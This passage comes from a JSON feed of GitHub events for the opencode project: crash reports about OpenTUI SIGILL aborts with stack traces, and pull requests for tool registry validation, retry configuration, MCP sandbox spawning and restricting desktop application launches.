          "timestamp": "2026-08-12T17:48:06Z",
          "metrics": {
            "reactions": 0,
            "comments": 2
          },
          "labels": [],
          "author": "krishaysatish1-blip",
          "state": "closed",
          "assignees": [
            "fwang"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:b9d7d33e495f2c7922d5",
        "signalId": "github:anomalyco/opencode:issue:42094",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42094",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "TUI SIGILL (ud2) in OpenTUI drawTextBuffer when compositor scale jumps to 4",
          "text": "## Summary An idle OpenCode TUI aborts with `SIGILL` (`ud2`) the instant the compositor scales the monitor up to 4. This has happened twice, weeks apart, on two OpenCode versions, at the **same instruction pointer** and on the **same second** as the scale-to-4 event. This is **not** a missing-CPU-feature SIGILL. The faulting instruction is a deliberate `ud2` abort in the bundled Bun runtime, reached from OpenTUI's text-buffer draw path. Same abort site as #41483 (`opencode+0x2407064` / `libopentui.so+0x1d061d`), but a different trigger: a healthy local `foot` session that had already been running for ~56 minutes, not a partial capability handshake at startup. ## What happened 1. Started `opencode --auto` in foot on Hyprland (18:38). 2. Worked in a session, then left the TUI idle (last session write 18:56:40). 3. Scaled the external display **DP-1 from 3.13 → 4**. 4. Kernel recorded the abort on that same second: ``` Aug 12 19:34:41 traps: opencode[3769384] trap invalid opcode ip:2607064 ``` The process dumped core (`si_code: ILL_ILLOPN`). No OOM, 37 GiB free. ## Reproduction Reliable on this machine whenever OpenCode's TUI is open and the monitor is scaled **to 4**. 1. Hyprland + foot, OpenCode TUI running (`opencode --auto` is enough; session can be idle). 2. External display: Apple Pro Display XDR, `6016x3384@60`. 3. Scale DP-1 up through 2 → ~3.13 → **4**. 4. OpenCode dies immediately with `SIGILL`. Logical resolution at those scales: | scale | logical size | |------:|--------------| | 2 | 3008×1692 | | 3.13 | 1920×1080 | | **4** | **1504×846** | Going 2 → 3.13 did **not** kill it. The abort is on the step to 4. ## Two hits, same abort, same trigger | when | version | command | scale event (same second) | |------|---------|---------|---------------------------| | 2026-08-04 19:27:23 CEST | 1.18.11 | `opencode --auto` | DP-1 3.20 → 4 | | 2026-08-12 19:34:41 CEST | 1.18.16 | `opencode --auto` | DP-1 3.13 → 4 | Both cores have **identical offsets**: ``` #0 opencode + 0x2407064 ; ud2 #1 opencode + 0x2405266 #2 opencode + 0x32dd8bf ; napi_internal_suppress_crash_on_abort_if_desired #3 opencode + 0x44e35ad #4 libc.so.6 + 0x3e6f0 ; __restore_rt #5 libopentui.so + 0x1d061d ``` That is the same `#0`/`#5` pair reported in #41483. ## Symbolized OpenTUI frame `libopentui.so` is still on disk (`/tmp/.9adb5cbffaf2ed8f-00000000.so`, not stripped, has DWARF). `addr2line` on frame #5: ``` buffer.OptimizedBuffer.trySetTransparentTextCellFast packages/core/src/zig/buffer.zig:896 called from: OptimizedBuffer.drawTextBufferInternal buffer.zig:1659 OptimizedBuffer.drawTextBuffer buffer.zig:1274 lib.bufferDrawTextBufferView lib.zig:2521 ``` The instruction at that offset is a cell-buffer load inside the fast path (`cmpl $0xff, (%rsi,%rcx,4)`), not a SIMD op. Faulting bytes in the main binary: ``` 260705f: call 0x2634e80 ; noreturn abort helper 2607064: ud2 ; <- RIP 2607066: int3 int3 int3 ... ``` Classic Zig/Bun \"noreturn returned\" / panic abort, which the kernel reports as `trap invalid opcode`. ## Inference (not proven) Scale 3.13 → 4 shrinks the logical viewport by ~22% and delivers a SIGWINCH / `TIOCSWINSZ` to foot. OpenTUI then redraws. `trySetTransparentTextCellFast` indexes `self.buffer.char[index]` with no bounds check; `OptimizedBuffer.resize` reallocs those arrays. A draw that still holds an index computed against the pre-resize width/height would trip a Zig safety panic, which becomes this `ud2`. I have not single-stepped the panic reason (no panic string in the journal). The timestamp match + the symbolized draw path is the evidence. ## Ruled out - OOM / resource exhaustion - AVX / \"baseline binary on old CPU\" (Intel Core Ultra X7 358H, avx2+; the opcode is `ud2`, not EVEX) - A crash in the herdr OpenCode plugin — it is installed, but it is not on the crashing stack - `--auto` itself (that is just how the agent is launched; the abort is in the renderer) ## Environment - **opencode** 1.18.16 (previous hit: 1.18.11), installed via mise - **Bun** v1.3.14 (Linux x64 baseline), bundled - **OpenTUI** native `libopentui.so` extracted to `/tmp/.9adb5cbffaf2ed8f-00000000.so` - **OS** Arch Linux, kernel `7.1.5-arch1-1-ptl`, glibc 2.44 - **compositor** Hyprland 0.56.2 - **terminal** foot 1.27.0, JetBrainsMono Nerd Font 9 - **display** Apple Pro Display XDR `DP-1` 6016×3384@60 - **CPU** Intel Core Ultra X7 358H ## Expected A compositor scale change (or any SIGWINCH / resize) should reflow the TUI. It should not abort the process. ## Workaround Do not scale the monitor to 4 while OpenCode is open, or close OpenCode first. Session data in `~/.local/share/opencode/opencode.db` survived; the crash was during an idle redraw. ## Related - #41483 — identical `ud2` / `libopentui+0x1d061d`, trigger is a partial capability handshake at **startup** - #38199 — TUI crash on extreme shrink (~2×1); Bun segfault, different stack - anomalyco/opentui#971 — OpenTUI `bufferDrawBox` panic on grapheme / clip",
          "url": "https://github.com/anomalyco/opencode/issues/42094",
          "createdAt": "2026-08-12T17:45:55Z",
          "updatedAt": "2026-08-12T17:47:04Z",
          "timestamp": "2026-08-12T17:47:04Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [],
          "author": "dhh",
          "state": "open",
          "assignees": [
            "kommander"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:c94631addf37c14bed93",
        "signalId": "github:anomalyco/opencode:issue:41483",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:41483",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "TUI crashes at startup (Bun SIGILL in drainMicrotasks, libopentui) when the terminal answers the capability handshake only partially",
          "text": "## Summary The TUI crashes deterministically at startup (Bun panic, `SIGILL`, inside `JSC::VM::drainMicrotasks`) when the terminal on the other end answers opencode's startup capability handshake **only partially**. Reproduces 100% over the [Moshi](https://getmoshi.app/) phone client. The same binary on the same machine starts fine in a local terminal, and — importantly — also starts fine over **plain mosh with a locally attached `mosh-client`**. So this is not \"mosh\" in general; it is terminal emulations that reply to some capability queries but not others. Characterized over ~40 controlled runs. ## Environment - opencode **1.18.15** (also seen on 1.17.x) - Bun **1.3.14** (bundled), `Linux x86_64_baseline [StandaloneExecutable]` - Arch Linux, kernel 6.18.42-1-lts, glibc 2.42 - Client: Moshi phone app (crash persists after updating both the phone app and `moshi-hook` to 0.2.77) ## Bun crash report https://bun.report/1.3.14/Ba10d9b296m/Gz+339/D4664tE+uzP__suwxrCsuwxrCsuwxrCsuwxrCsuwxrCsuwxrCsuwxrCmsvprCi4wtpFusjtpF8s1muF4r338D__msvprCwpthhFA2k1/B4//o02C Decoded: segfault at `0x7F5256A23FFC`, recursive `llint_op_call_ignore_result` → `JSC::MicrotaskQueue::drainImpl` → `JSC::VM::drainMicrotasks` → `Bun::jsFunctionDrainMicrotaskQueue` (`BunProcess.cpp:3806`). ## Coredump `SIGILL`, command line `opencode .`: ``` #0 0x0000000002607064 (opencode + 0x2407064) #1 0x0000000002605266 (opencode + 0x2405266) #2 0x00000000034dd8bf (opencode + 0x32dd8bf) #3 0x00000000046e35ad (opencode + 0x44e35ad) #4 0x00007f4e5f83e6f0 (libc.so.6 + 0x3e6f0) #5 0x00007f4e09c2061d (/tmp/.9adb59f9f3fcffdf-00000000.so + 0x1d061d) <-- libopentui #6 0x000004305a263a93 #7 0x00007f4e12a0c038 #8 0x00000000025c60e7 (opencode + 0x23c60e7) <-- repeats x7, recursion ... ``` Frame #5 is the extracted `libopentui.so` (see #20043 for the `/tmp` extraction). **The offset `libopentui.so + 0x1d061d` is identical across every crash.** ## Reproduction matrix | Terminal on the other end | Answers the handshake | Result | |---|---|---| | `script`, no terminal behind it | nothing | OK | | real xterm | everything | OK (4/4) | | plain `mosh-server` + local `mosh-client`, sized pty | — | **OK** (2/2, verified today) | | `mosh-server` with no client attached | nothing | OK | | herdr | everything except OSC 10/11 | CRASH | | Moshi phone client | partial | **CRASH (5/5)** | Nothing answered → clean fallback. Everything answered → works. An **incomplete** set → crash. ## The handshake Captured with a shim on the pty, opencode sends: ``` \\x1b[?2031h \\x1b]10;? \\x1b]11;? \\x1b[>0q \\x1b[6n \\x1bP+q4d73 \\x1b[?1016$p \\x1b[?2027$p ``` A real xterm replies with `]10;rgb:...` and `]11;rgb:...`. Moshi and herdr do not. ## Two attempted fixes that did NOT work A pty shim that intercepts the queries and answers them on the terminal's behalf: 1. Answering only OSC 10/11 → still crashed (5/5) 2. Answering all 7 captured queries and stripping them from the stream → still crashed (4/4) So \"missing replies\" describes the symptom but is not the whole cause. Something about the *partial* interleaving appears to matter. ## Ruled out (all still 100% crash) TUI plugins, directory plugins, all plugins disabled, MCP servers, empty config, terminal width (tested 37 and 200 columns), and 13 combinations of OpenTUI env vars: `OPENTUI_NOTIFICATIONS`, `OPENTUI_NOTIFICATION_PROTOCOL`, `OPENTUI_IMAGE_PROTOCOL`, `OPENTUI_GRAPHICS`, `OPENTUI_FORCE_EXPLICIT_WIDTH`, `OPENTUI_FORCE_WCWIDTH`, `OPENTUI_FORCE_NOZWJ`, `OTUI_NO_NATIVE_RENDER`, `OTUI_USE_ALTERNATE_SCREEN`, `OTUI_PALETTE_IDLE_TIMEOUT_MS`, `TERM=dumb`, `TERM=vt100`, and faking `TMUX`/`ZELLIJ`. A terminal multiplexer in the middle is **not** required: it crashes over the phone client with nothing in between. ## Note on measuring Count crashes with `coredumpctl list | wc -l`, not by reading the panel — the previous crash banner stays in the scrollback and produces false positives. Also start a fresh pane per attempt: a pane with a live opencode swallows the next command as keystrokes. ## Related - #35384 — same shape on ARM64: crashes when started from a phone SSH client (Termius), fine locally. Currently has no reproduction details; this report may be the same root cause. - #33890 — Bun 1.3.14 `SIGILL` on Linux x86_64, but a different trigger (crashes after running a while, not at startup). - #20043 — `libopentui.so` extraction into `/tmp`, which is the module in frame #5. ## Expected A terminal that answers the capability handshake incompletely should fall back the same way a terminal that answers nothing does, instead of taking down the process.",
          "url": "https://github.com/anomalyco/opencode/issues/41483",
          "createdAt": "2026-08-10T05:09:44Z",
          "updatedAt": "2026-08-12T17:46:13Z",
          "timestamp": "2026-08-12T17:46:13Z",
          "metrics": {
            "reactions": 0,
            "comments": 1
          },
          "labels": [],
          "author": "IamKaleb21",
          "state": "open",
          "assignees": [
            "simonklee"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:7089312095a718493ec7",
        "signalId": "github:anomalyco/opencode:pull_request:42092",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42092",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(tool): skip plugin tools without descriptions",
          "text": "### Issue for this PR Refs #42026 ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? Skips plugin tool definitions whose `description` field is not a string before they enter the tool registry. The file-scanned tool path already guarded malformed exports with `isPluginTool(...)`, but the `plugin.list()` path accepted every entry and forwarded it into `fromPlugin(...)`. A plugin tool with `description: undefined` could then be surfaced to the model tool catalog and fail later during request/schema preparation. This keeps valid plugin tools and built-in tools available while isolating the malformed tool definition. ### How did you verify your code works? - `cd packages/opencode && bun test test/tool/registry.test.ts --test-name-pattern 'skips plugin tools with missing descriptions' --timeout 30000` - `cd packages/opencode && bun test test/tool/registry.test.ts --timeout 60000` - `cd packages/opencode && bun typecheck` - `bun run lint packages/opencode/src/tool/registry.ts packages/opencode/test/tool/registry.test.ts` - `git diff --check` ### Screenshots / recordings N/A; this is a registry validation fix. ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
          "url": "https://github.com/anomalyco/opencode/pull/42092",
          "createdAt": "2026-08-12T17:37:26Z",
          "updatedAt": "2026-08-12T17:38:28Z",
          "timestamp": "2026-08-12T17:38:28Z",
          "metrics": {
            "reactions": 0,
            "comments": 2
          },
          "labels": [
            "needs:issue"
          ],
          "author": "zcxGGmu",
          "state": "open",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:94e8c4f096fb6470924c",
        "signalId": "github:anomalyco/opencode:pull_request:31834",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:31834",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "feat(acp): emit plan session updates from todowrite tool calls",
          "text": "### Issue for this PR (I reopened this because I somehow got #30658 closed) When working on [hydra-acp](https://github.com/smagnuso/hydra-acp) I noticed that I was not getting plans rendered in opencode as I had in claude. Closes #30659 ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? Translates todowrite tool calls into ACP SessionUpdate::Plan notifications so ACP clients (Zed, JetBrains, Hydra, etc.) can render a live plan/todo panel. This is the same data ACP clients receive from Claude Code today; opencode already produces the structured input but the ACP bridge never forwarded it. ### How did you verify your code works? Ran a prompt in in [hydra-acp](https://github.com/smagnuso/hydra-acp) that created a plan: create a plan with 5 items in it each run ping -c 1 www.google.com check off items as you complete them ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
          "url": "https://github.com/anomalyco/opencode/pull/31834",
          "createdAt": "2026-06-11T04:17:50Z",
          "updatedAt": "2026-08-12T17:37:13Z",
          "timestamp": "2026-08-12T17:37:13Z",
          "metrics": {
            "reactions": 2,
            "comments": 2
          },
          "labels": [
            "contributor"
          ],
          "author": "smagnuso",
          "state": "open",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:557989e558b0f083752e",
        "signalId": "github:anomalyco/opencode:pull_request:42088",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42088",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(tui): consolidate developer tools controls",
          "text": "## What Use **Developer tools** as the user-facing command name and keep turn token usage controls inside the developer tools bar instead of exposing them as a separate command. Clickable sections in the developer tools bar now use the theme's brighter hover background so they read as interactive before selection. ## Before / After **Before:** The command palette exposed both `DevTools` and `Turn token usage`, splitting one developer-tools surface into two settings. The bar's top-level sections had no hover feedback. **After:** The command palette exposes one `Developer tools` setting. Searching for `Turn token usage` returns no command, while its controls remain available in the Tools panel. Hovering a bar section applies the existing themed hover treatment. ## How - `packages/tui/src/component/dialog-config.tsx` renames the visible setting and removes the standalone token-usage setting. - `packages/tui/src/component/devtools-bar.tsx` tracks hover state for top-level bar items and applies the existing action hover color. - `packages/tui/test/config-v2.test.tsx` covers the consolidated settings surface. ## Scope Internal `DevTools` names and the persisted `debug.turn_tokens` configuration remain unchanged. ## Testing - `bun run test test/config-v2.test.tsx` (14 tests, 100 assertions) - `bun run typecheck` - OpenCode Drive against this checkout, verifying the renamed command, absence of the standalone token command, and presence of token controls in the Tools panel ## Demo Recorded with OpenCode Drive against this branch. The flow searches for `developer`, searches for `turn token usage`, then opens the Tools panel. https://github.com/user-attachments/assets/53a55378-ba0f-4b24-ad70-29ff0661ad5c",
          "url": "https://github.com/anomalyco/opencode/pull/42088",
          "createdAt": "2026-08-12T17:08:27Z",
          "updatedAt": "2026-08-12T17:23:17Z",
          "timestamp": "2026-08-12T17:23:17Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [
            "contributor"
          ],
          "author": "kitlangton",
          "state": "closed",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:7eecf7293a3808950848",
        "signalId": "github:anomalyco/opencode:pull_request:41699",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:41699",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(session): make retry cap and backoffDelay configurable per provider",
          "text": "### Issue for this PR Closes #21960 ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? Follow-up to #41939, which added the fixed `RETRY_MAX_RETRIES = 5` cap. That default is right for most cases, but the retry budget users want differs per provider (an aggressive retry loop against a rate-limited Bedrock account makes things worse; a flaky self-hosted proxy may need more than 5). This PR makes the cap and the initial backoff configurable per provider: ```json { \"provider\": { \"amazon-bedrock\": { \"options\": { \"retry\": 3, \"backoffDelay\": 1000 } } } } ``` - `retry` — max attempts (default 5 from #41939, `0` disables retries) - `backoffDelay` — initial backoff in ms (default 2000); provider `retry-after` headers still take precedence, and the jitter from #41939 is preserved Both options are stripped before SDK construction (like `chunkTimeout`) so they never reach the provider client. ### How did you verify your code works? - Rebased on current `dev` (keeps the #41939 jitter + cap behavior and its tests intact). - New unit tests in `test/session/retry.test.ts`: `retry` raises/lowers the cap; `retry: 0` never retries; `backoffDelay` changes the backoff progression; `retry-after` headers still win. `bun test test/session/retry.test.ts` → 59 pass. - `bun run typecheck` clean in `packages/core` and `packages/opencode`. - Regenerated SDK types via `./script/generate.ts`. ### Screenshots / recordings N/A (no UI change) ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
          "url": "https://github.com/anomalyco/opencode/pull/41699",
          "createdAt": "2026-08-11T07:46:01Z",
          "updatedAt": "2026-08-12T17:20:43Z",
          "timestamp": "2026-08-12T17:20:43Z",
          "metrics": {
            "reactions": 0,
            "comments": 3
          },
          "labels": [],
          "author": "eyalatox",
          "state": "open",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:d542296e82b18511f6e2",
        "signalId": "github:anomalyco/opencode:issue:42046",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42046",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "403",
          "text": "### Description Upstream request failed: [403] This model is not available in your region. ### Plugins _No response_ ### OpenCode version _No response_ ### Steps to reproduce _No response_ ### Screenshot and/or share link _No response_ ### Operating System _No response_ ### Terminal _No response_",
          "url": "https://github.com/anomalyco/opencode/issues/42046",
          "createdAt": "2026-08-12T14:53:48Z",
          "updatedAt": "2026-08-12T17:19:58Z",
          "timestamp": "2026-08-12T17:19:58Z",
          "metrics": {
            "reactions": 0,
            "comments": 2
          },
          "labels": [],
          "author": "shixin2010git",
          "state": "closed",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:86ecd0b3dd0d3ce6174f",
        "signalId": "github:anomalyco/opencode:issue:42050",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42050",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "Not working",
          "text": "### Description My opencode is not working well with ai provider why?? Retrying in 51s · attempt 7 Free limit reached Subscribe to OpenCode Go for reliable access to the best open-source models, starting at $5/month. ### Plugins _No response_ ### OpenCode version _No response_ ### Steps to reproduce _No response_ ### Screenshot and/or share link _No response_ ### Operating System _No response_ ### Terminal _No response_",
          "url": "https://github.com/anomalyco/opencode/issues/42050",
          "createdAt": "2026-08-12T15:05:36Z",
          "updatedAt": "2026-08-12T17:19:56Z",
          "timestamp": "2026-08-12T17:19:56Z",
          "metrics": {
            "reactions": 0,
            "comments": 3
          },
          "labels": [],
          "author": "HotShotLabel",
          "state": "closed",
          "assignees": [
            "fwang"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:d0a12c9d4f858d5d1292",
        "signalId": "github:anomalyco/opencode:pull_request:42086",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42086",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(tui): stabilize repeated open menu",
          "text": "## What Keep the populated Control-O session/project picker stable when it opens, reopens, or receives the shortcut repeatedly. ## Before / After **Before:** Opening reset the shared dialog to medium width, mounted a partial picker from local state, then resized it and inserted projects and cross-project recents as two asynchronous requests completed. This produced a visible flash while loading. Pressing Control-O while open also remounted the picker and restarted those requests. **After:** Project and recent-session data load before the picker is mounted. Its first visible frame is already populated and large. Repeated Control-O presses leave the active picker mounted, preserving its content, filter, and selection. ## How - `packages/tui/src/app.tsx` loads projects and recent sessions before installing the picker, coalesces concurrent opens, and ignores `open.menu` while the picker is active. - `packages/tui/src/ui/dialog.tsx` lets replacements declare their initial size and identity in one batched update. - `packages/tui/src/component/dialog-open.tsx` receives loaded sessions and no longer fetches or resizes after mounting. - `packages/tui/test/cli/tui/dialog-open.test.tsx` verifies no picker frame appears while recents are pending, then verifies the first picker frame contains both sessions and projects. ## Scope This only changes loading, repeated invocation, and initial sizing for the Control-O picker. Other dialogs keep their existing replacement behavior. ## Testing - `bun typecheck` in `packages/tui` - `bun run test test/cli/tui/dialog-open.test.tsx` (6 passing, 13 assertions) - Push hook workspace typecheck (32 packages successful) - Live V2 TUI against the elected service: captured populated first open, Escape, populated reopen, and repeated Control-O presses while open ## Demo Real live-service data, not an isolated fixture. The picker appears fully populated on both opens, and repeated Control-O presses do not remount it. https://github.com/user-attachments/assets/6a5a7754-6640-41af-8b16-b54cebc1cc21",
          "url": "https://github.com/anomalyco/opencode/pull/42086",
          "createdAt": "2026-08-12T16:52:34Z",
          "updatedAt": "2026-08-12T17:17:16Z",
          "timestamp": "2026-08-12T17:17:16Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [
            "contributor"
          ],
          "author": "kitlangton",
          "state": "closed",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:487b8edcb2533392f5b1",
        "signalId": "github:anomalyco/opencode:pull_request:40210",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:40210",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(console): emit complete Responses-API SSE lifecycle for converted streams",
          "text": "### Issue for this PR Closes #40171 ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? Two gateway fixes for the Zen/Go `/v1/responses` endpoint when the upstream speaks chat completions (`oa-compat`): 1. **Complete Responses-API SSE lifecycle.** The stream converter only emitted `response.output_text.delta` and `response.completed`, so Responses-API clients (e.g. the Codex CLI) never saw `response.created`, `response.in_progress`, `response.output_item.added`, `response.content_part.added` or `response.output_item.done` and could not complete a turn. The converter is now stateful (`createToOpenaiChunk`) and emits the full sequence in order: `created` -> `in_progress` -> `output_item.added` (message) -> `content_part.added` -> `output_text.delta` -> `output_item.done` (with accumulated text) -> `completed` (with `output`, `stop_reason`, `usage`). Tool-call streams additionally get `function_call_arguments.done` and `output_item.done`. 2. **Drop unsupported tool types when converting to chat completions.** Codex always sends a `web_search` tool; `toOaCompatibleRequest` mapped every tool into `{\"type\":\"function\",\"function\":{...}}`, producing an undefined `name` that upstream serde rejects with `tools[N].function: missing field \"name\"`, 400ing the whole request. Non-function tools are now filtered out (chat-completions upstreams have no equivalent), and function tools keep their nested `function.name`. Verified live before the fix: `deepseek-v4-flash` on `zen/go/v1` streamed only `output_text.delta` -> `completed` -> `[DONE]` -> `ping`; `deepseek-v4-flash-free` on `zen/v1` rejects a `web_search` tool with the serde error above. Note that the paid tier has since been switched server-side to DeepSeek's native `/v1/responses` (full lifecycle observed live on 2026-08-05), but the free tier and any remaining oa-compat-backed models still hit both issues. ### How did you verify your code works? - Added `packages/console/app/test/openaiResponsesStream.test.ts`: text-stream lifecycle ordering with a single `response.created`, accumulated text in `output_item.done`/`completed`, tool-call lifecycle (`function_call_arguments.done`, `output_item.done`), stream with no visible text, `[DONE]` passthrough. - Added `packages/console/app/test/openaiCompatibleRequest.test.ts`: `web_search` dropped while function tools are kept with their nested name, chat-completions tools pass through, no-tools stays `undefined`. - Ran the same assertions through a Node type-stripping harness locally (bun is not installed in this environment); all passed. ### Screenshots / recordings N/A (server-side gateway change). ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
          "url": "https://github.com/anomalyco/opencode/pull/40210",
          "createdAt": "2026-08-03T03:55:27Z",
          "updatedAt": "2026-08-12T17:16:32Z",
          "timestamp": "2026-08-12T17:16:32Z",
          "metrics": {
            "reactions": 12,
            "comments": 5
          },
          "labels": [],
          "author": "Yuxin-Qiao",
          "state": "open",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:672b6003d392cfd949ed",
        "signalId": "github:anomalyco/opencode:pull_request:42076",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42076",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "refactor(core): spawn stdio MCP servers through the location environment",
          "text": "## What Route local/stdio MCP server processes through each location's `Environment.spawner` instead of the MCP SDK's host-bound `StdioClientTransport`. MCP is already location-scoped, but stdio servers were host-ambient. A workspace-backed location could run Shell and Ripgrep inside its sandbox while its MCP servers still ran on the OpenCode host. After this change, stdio MCP follows the same execution seam as the rest of the location. ## Before / After **Before:** `MCPClient.connect` constructed `StdioClientTransport`, which spawned on the host with host environment values and used host-only `pgrep` cleanup. Workspace placement had no effect on stdio MCP execution. **After:** the location MCP layer supplies its `Environment`; transport startup calls `Environment.spawner.spawn`, so local locations use the host driver and workspace locations use their sandbox driver. Process shutdown goes through the returned handle. ## How - `packages/core/src/mcp/stdio.ts` implements the MCP `Transport` contract over an Effect `ChildProcessHandle`. - JSON-RPC framing reuses the SDK's newline-delimited `ReadBuffer` and `serializeMessage`. - The process is spawned in `start()`, keeping workspace wake/spawn inside the MCP startup timeout and preserving the SDK callback-ordering contract. - Stderr is continuously drained and attributed to the MCP server in debug logs. - Only configured environment overrides cross the Environment boundary. `extendEnv` is resolved by the selected driver: the local driver inherits host env as before, while workspace drivers inherit inside the sandbox, preventing host env leakage. - Close ends stdin, waits for a graceful exit, sends `SIGTERM` through the handle, then escalates to `SIGKILL`; scoped process cleanup remains the final backstop. Local handles kill detached process groups, preserving descendant cleanup without host `pgrep`; workspace handles use their driver-specific kill protocol. - `MCP.node` now depends on the location's `Environment.node`. ```mermaid sequenceDiagram participant MCP as Location MCP participant Env as Environment.spawner participant Driver as Local or workspace driver participant Server as stdio MCP server MCP->>Env: spawn(command, cwd, configured env) Env->>Driver: route for location Driver->>Server: start process MCP->>Server: newline-delimited JSON-RPC over stdin Server-->>MCP: newline-delimited JSON-RPC over stdout MCP->>Driver: close stdin / SIGTERM / SIGKILL via handle ``` ## Scope No option or flag is added. Availability is determined by whether the location's Environment spawner works. Follow-up: the workerd profile in #41918 will gain working stdio MCP through this seam once its Environment fallback is replaced. ## Testing - `cd packages/core && bun run test`: 1,688 passed, 16 skipped, 0 failed on the first full run. - A later full run hit two unrelated existing 5s timing failures (`Snapshot` interruption and Config command rename); both pass in isolation. The Config rename case was rerun twice during investigation and then passed when isolated. - `cd packages/core && bun test test/mcp.test.ts`: 26 passed, including real stdio fixtures and a recording Environment spawner assertion. - `bun run typecheck`: all 32 typecheck tasks succeeded across 38 packages, including a clean push-hook run. - Prettier and `git diff --check` pass.",
          "url": "https://github.com/anomalyco/opencode/pull/42076",
          "createdAt": "2026-08-12T16:07:33Z",
          "updatedAt": "2026-08-12T17:16:16Z",
          "timestamp": "2026-08-12T17:16:16Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [
            "contributor"
          ],
          "author": "kitlangton",
          "state": "closed",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:4573eafd5391bf66a652",
        "signalId": "github:anomalyco/opencode:pull_request:42087",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42087",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(desktop): restrict application launches",
          "text": "## Summary - allow only the applications exposed by the Open in menu to cross the desktop IPC boundary - resolve Windows executable paths in the main process after validating the requested application - fall back to the system file opener for unsupported or unavailable applications - add platform-specific allowlist coverage ## Why The renderer previously supplied a free-form executable string to `open-path`. On Windows and Linux, the main process passed that value directly to `execFile`; on macOS it passed the value to `open -a`. Context isolation does not protect a deliberately exposed bridge method from injected renderer code, so executable selection must be constrained in the main process. ## Testing - `bun typecheck` (packages/desktop) - 75 desktop tests passed - 22 focused application-policy cases passed - Prettier and `git diff --check` Requested by: @Hona (Luke Parker via Slack)",
          "url": "https://github.com/anomalyco/opencode/pull/42087",
          "createdAt": "2026-08-12T17:05:10Z",
          "updatedAt": "2026-08-12T17:05:20Z",
          "timestamp": "2026-08-12T17:05:20Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [
            "contributor"
          ],
